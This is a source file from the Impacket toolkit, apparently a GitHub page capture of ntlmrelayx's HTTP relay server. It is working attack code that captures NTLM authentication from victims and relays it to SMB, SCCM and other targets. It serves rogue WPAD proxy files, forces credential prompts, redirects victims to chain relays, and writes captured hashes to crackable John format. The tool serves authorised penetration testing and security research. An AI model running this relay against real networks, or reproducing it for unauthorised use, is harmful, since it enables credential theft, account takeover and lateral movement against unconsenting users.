-
Notifications
You must be signed in to change notification settings - Fork 3.5k
/
httprelayserver.py
556 lines (476 loc) · 28 KB
/
httprelayserver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2022 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# HTTP Relay Server
#
# This is the HTTP server which relays the NTLMSSP messages to other protocols
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
import http.server
import socketserver
import socket
import base64
import random
import struct
import string
from threading import Thread
from six import PY2, b
from impacket import ntlm, LOG
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
class HTTPRelayServer(Thread):
class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
def __init__(self, server_address, RequestHandlerClass, config):
self.config = config
self.daemon_threads = True
if self.config.ipv6:
self.address_family = socket.AF_INET6
# Tracks the number of times authentication was prompted for WPAD per client
self.wpad_counters = {}
socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
class HTTPHandler(http.server.SimpleHTTPRequestHandler):
def __init__(self,request, client_address, server):
self.server = server
self.protocol_version = 'HTTP/1.1'
self.challengeMessage = None
self.target = None
self.client = None
self.machineAccount = None
self.machineHashes = None
self.domainIp = None
self.authUser = None
self.relayToHost = False
self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
'(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
'return "PROXY %s:80; DIRECT";} '
if self.server.config.mode != 'REDIRECT':
if self.server.config.target is None:
# Reflection mode, defaults to SMB at the target, for now
self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
try:
http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
except Exception as e:
LOG.debug("Exception:", exc_info=True)
LOG.error(str(e))
def handle_one_request(self):
try:
http.server.SimpleHTTPRequestHandler.handle_one_request(self)
except KeyboardInterrupt:
raise
except Exception as e:
LOG.debug("HTTPD(%s): Exception:" % self.server.server_address[1], exc_info=True)
LOG.error('HTTPD(%s): Exception in HTTP request handler: %s' % (self.server.server_address[1], e))
def log_message(self, format, *args):
return
def send_error(self, code, message=None):
if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
return self.do_GET()
return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)
def send_not_found(self):
self.send_response(404)
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length', '0')
self.send_header('Connection', 'close')
self.end_headers()
def send_multi_status(self, content):
self.send_response(207, "Multi-Status")
self.send_header('Content-Type', 'application/xml')
self.send_header('Content-Length', str(len(content)))
self.send_header('Connection', 'close')
self.end_headers()
self.wfile.write(content)
def serve_wpad(self):
wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)
self.send_response(200)
self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')
self.send_header('Content-Length',len(wpadResponse))
self.end_headers()
self.wfile.write(b(wpadResponse))
return
def should_serve_wpad(self, client):
# If the client was already prompted for authentication, see how many times this happened
try:
num = self.server.wpad_counters[client]
except KeyError:
num = 0
self.server.wpad_counters[client] = num + 1
# Serve WPAD if we passed the authentication offer threshold
if num >= self.server.config.wpad_auth_num:
return True
else:
return False
def serve_image(self):
with open(self.server.config.serve_image, 'rb') as imgFile:
imgFile_data = imgFile.read()
self.send_response(200, "OK")
self.send_header('Content-type', 'image/jpeg')
self.send_header('Content-Length', str(len(imgFile_data)))
self.end_headers()
self.wfile.write(imgFile_data)
def strip_blob(self, proxy):
if PY2:
if proxy:
proxyAuthHeader = self.headers.getheader('Proxy-Authorization')
else:
autorizationHeader = self.headers.getheader('Authorization')
else:
if proxy:
proxyAuthHeader = self.headers.get('Proxy-Authorization')
else:
autorizationHeader = self.headers.get('Authorization')
if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):
self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)
messageType = 0
token = None
else:
if proxy:
typeX = proxyAuthHeader
else:
typeX = autorizationHeader
try:
_, blob = typeX.split('NTLM')
token = base64.b64decode(blob.strip())
except Exception:
LOG.debug("Exception:", exc_info=True)
self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)
else:
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
return token, messageType
def do_HEAD(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_OPTIONS(self):
self.send_response(200)
self.send_header('Allow',
'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')
self.send_header('Content-Length', '0')
self.send_header('Connection', 'close')
self.end_headers()
return
def do_PROPFIND(self):
proxy = False
if (".jpg" in self.path) or (".JPG" in self.path):
content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
else:
content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
token, messageType = self.strip_blob(proxy)
# Should we relay or log-in locally?
if self.relayToHost is False and not self.server.config.disableMulti:
self.do_local_auth(messageType, token, proxy)
return
else:
# We can start the relay process
self.do_relay(messageType, token, proxy, content)
def do_AUTHHEAD(self, message = b'', proxy=False):
if proxy:
self.send_response(407)
self.send_header('Proxy-Authenticate', message.decode('utf-8'))
else:
self.send_response(401)
self.send_header('WWW-Authenticate', message.decode('utf-8'))
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.send_header('Connection', 'keep-alive')
self.end_headers()
#Trickery to relay the victim to all the targets we want
def do_REDIRECT(self, proxy=False):
rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
self.send_response(307)
if proxy:
self.send_header('Proxy-Authenticate', 'NTLM')
else:
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Content-type', 'text/html')
self.send_header('Connection','keep-alive')
self.send_header('Location','/%s' % rstr)
self.send_header('Content-Length','0')
self.end_headers()
def do_SMBREDIRECT(self):
self.send_response(302)
self.send_header('Content-type', 'text/html')
self.send_header('Location','file://%s' % self.server.config.redirecthost)
self.send_header('Content-Length','0')
self.send_header('Connection','close')
self.end_headers()
def do_POST(self):
return self.do_GET()
def do_CONNECT(self):
# Client is using our server as a Proxy
proxy = True
token, messageType = self.strip_blob(proxy)
# We can't do the multirelay trick so we just relay the connection
self.do_relay(messageType, token, proxy)
return
def do_GET(self):
if self.server.config.mode == 'REDIRECT':
self.do_SMBREDIRECT()
return
LOG.info('HTTPD(%s): Client requested path: %s' % (self.server.server_address[1], self.path.lower()))
# Serve WPAD if:
# - The client requests it
# - A WPAD host was provided in the command line options
# - The client has not exceeded the wpad_auth_num threshold yet
if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
LOG.info('HTTPD(%s): Serving PAC file to client %s' % (self.server.server_address[1], self.client_address[0]))
self.serve_wpad()
return
# Determine if the user is connecting to our server directly or attempts to use it as a proxy
if len(self.path) > 4 and self.path[:4].lower() == 'http':
proxy = True
else:
proxy = False
token, messageType = self.strip_blob(proxy)
# Should we relay or log-in locally?
if self.relayToHost is False and not self.server.config.disableMulti:
self.do_local_auth(messageType, token, proxy)
return
else:
# We can start the relay process
self.do_relay(messageType, token, proxy)
return
def do_ntlm_negotiate(self, token, proxy):
if self.target.scheme.upper() in self.server.config.protocolClients:
self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)
# If connection failed, return
if not self.client.initConnection():
return False
self.challengeMessage = self.client.sendNegotiate(token)
# Remove target NetBIOS field from the NTLMSSP_CHALLENGE
if self.server.config.remove_target:
av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
# Check for errors
if self.challengeMessage is False:
return False
else:
LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
return False
# Calculate auth
self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)
return True
def do_ntlm_auth(self,token,authenticateMessage):
if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
clientResponse, errorCode = self.client.sendAuth(token)
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
# when coming from localhost
errorCode = STATUS_ACCESS_DENIED
if errorCode == STATUS_SUCCESS:
return True
return False
def do_local_auth(self, messageType, token, proxy):
if messageType == 1:
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
ansFlags = 0
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE
if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:
ansFlags |= ntlm.NTLM_NEGOTIATE_OEM
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \
ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM
challengeMessage = ntlm.NTLMAuthChallenge()
challengeMessage['flags'] = ansFlags
challengeMessage['domain_name'] = ""
challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64))
challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS()
challengeMessage['TargetInfoFields_len'] = 0
challengeMessage['TargetInfoFields_max_len'] = 0
challengeMessage['TargetInfoFields_offset'] = 40 + 16
challengeMessage['Version'] = b'\xff' * 8
challengeMessage['VersionLen'] = 8
self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(challengeMessage.getData()),proxy=proxy)
return
elif messageType == 3:
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
else:
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii'))).upper()
self.target = self.server.config.target.getTarget(identity = self.authUser)
if self.target is None:
LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
(self.server.server_address[1], self.authUser, self.client_address[0]))
self.send_not_found()
return
LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
self.relayToHost = True
self.do_REDIRECT()
def do_relay(self, messageType, token, proxy, content = None):
if messageType == 1:
if self.server.config.disableMulti:
self.target = self.server.config.target.getTarget(multiRelay=False)
if self.target is None:
LOG.info("HTTPD(%s): Connection from %s controlled, but there are no more targets left!" % (
self.server.server_address[1], self.client_address[0]))
self.send_not_found()
return
LOG.info("HTTPD(%s): Connection from %s controlled, attacking target %s://%s" % (
self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc))
if not self.do_ntlm_negotiate(token, proxy=proxy):
# Connection failed
if self.server.config.disableMulti:
LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1],
self.target.scheme, self.target.netloc))
self.server.config.target.logTarget(self.target)
self.send_not_found()
return
else:
LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % (
self.server.server_address[1], self.target.scheme, self.target.netloc))
self.server.config.target.logTarget(self.target)
self.target = self.server.config.target.getTarget(identity=self.authUser)
if self.target is None:
LOG.info( "HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
(self.server.server_address[1], self.authUser, self.client_address[0]))
self.send_not_found()
return
LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
self.do_REDIRECT()
elif messageType == 3:
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if self.server.config.disableMulti:
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
else:
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii'))).upper()
target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)
# when relaying to the SCCM AdminService to add a new administrator,
# we need to break out of the normal relay auth flow and
# perform the attack all in one shot
if self.server.config.isADMINAttack:
LOG.info("Exiting standard auth flow to add SCCM admin...")
self.server.config.setSCCMAdminToken(token)
LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser))
self.do_attack()
return
if not self.do_ntlm_auth(token, authenticateMessage):
LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
self.authUser))
if self.server.config.disableMulti:
self.send_not_found()
return
# Only skip to next if the login actually failed, not if it was just anonymous login or a system account
# which we don't want
if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
self.server.config.target.logTarget(self.target)
# No anonymous login, go to next host and avoid triggering a popup
self.target = self.server.config.target.getTarget(identity=self.authUser)
if self.target is None:
LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
(self.server.server_address[1], self.authUser, self.client_address[0]))
self.send_not_found()
return
LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
self.do_REDIRECT()
else:
# If it was an anonymous login, send 401
self.do_AUTHHEAD(b'NTLM', proxy=proxy)
else:
# Relay worked, do whatever we want here...
LOG.info("HTTPD(%s): Authenticating against %s://%s as %s SUCCEED" % (self.server.server_address[1],
self.target.scheme, self.target.netloc, self.authUser))
ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.config.outputFile is not None:
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.config.outputFile)
self.server.config.target.logTarget(self.target, True, self.authUser)
self.do_attack()
if self.server.config.disableMulti:
# We won't use the redirect trick, closing connection...
if self.command == "PROPFIND":
self.send_multi_status(content)
else:
self.send_not_found()
return
else:
# Let's grab our next target
self.target = self.server.config.target.getTarget(identity=self.authUser)
if self.target is None:
LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (
self.server.server_address[1], self.authUser, self.client_address[0]))
# Return Multi-Status status code to WebDAV servers
if self.command == "PROPFIND":
self.send_multi_status(content)
return
# Serve image and return 200 if --serve-image option has been set by user
if (self.server.config.serve_image):
self.serve_image()
return
# And answer 404 not found
self.send_not_found()
return
# We have the next target, let's keep relaying...
LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
self.do_REDIRECT()
def do_attack(self):
# Check if SOCKS is enabled and if we support the target scheme
if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
# Pass all the data to the socksplugins proxy
activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
self.authUser, self.client, self.client.sessionData))
return
# If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
if self.target.scheme.upper() in self.server.config.attacks:
# We have an attack.. go for it
clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
self.authUser)
clientThread.start()
else:
LOG.error('HTTPD(%s): No attack configured for %s' % (self.server.server_address[1], self.target.scheme.upper()))
def __init__(self, config):
Thread.__init__(self)
self.daemon = True
self.config = config
self.server = None
self.httpport = None
def run(self):
if not self.config.listeningPort:
self.config.listeningPort = 80
LOG.info("Setting up HTTP Server on port %s" % self.config.listeningPort)
# changed to read from the interfaceIP set in the configuration
self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)
try:
self.server.serve_forever()
except KeyboardInterrupt:
pass
LOG.info('Shutting down HTTP Server')
self.server.server_close()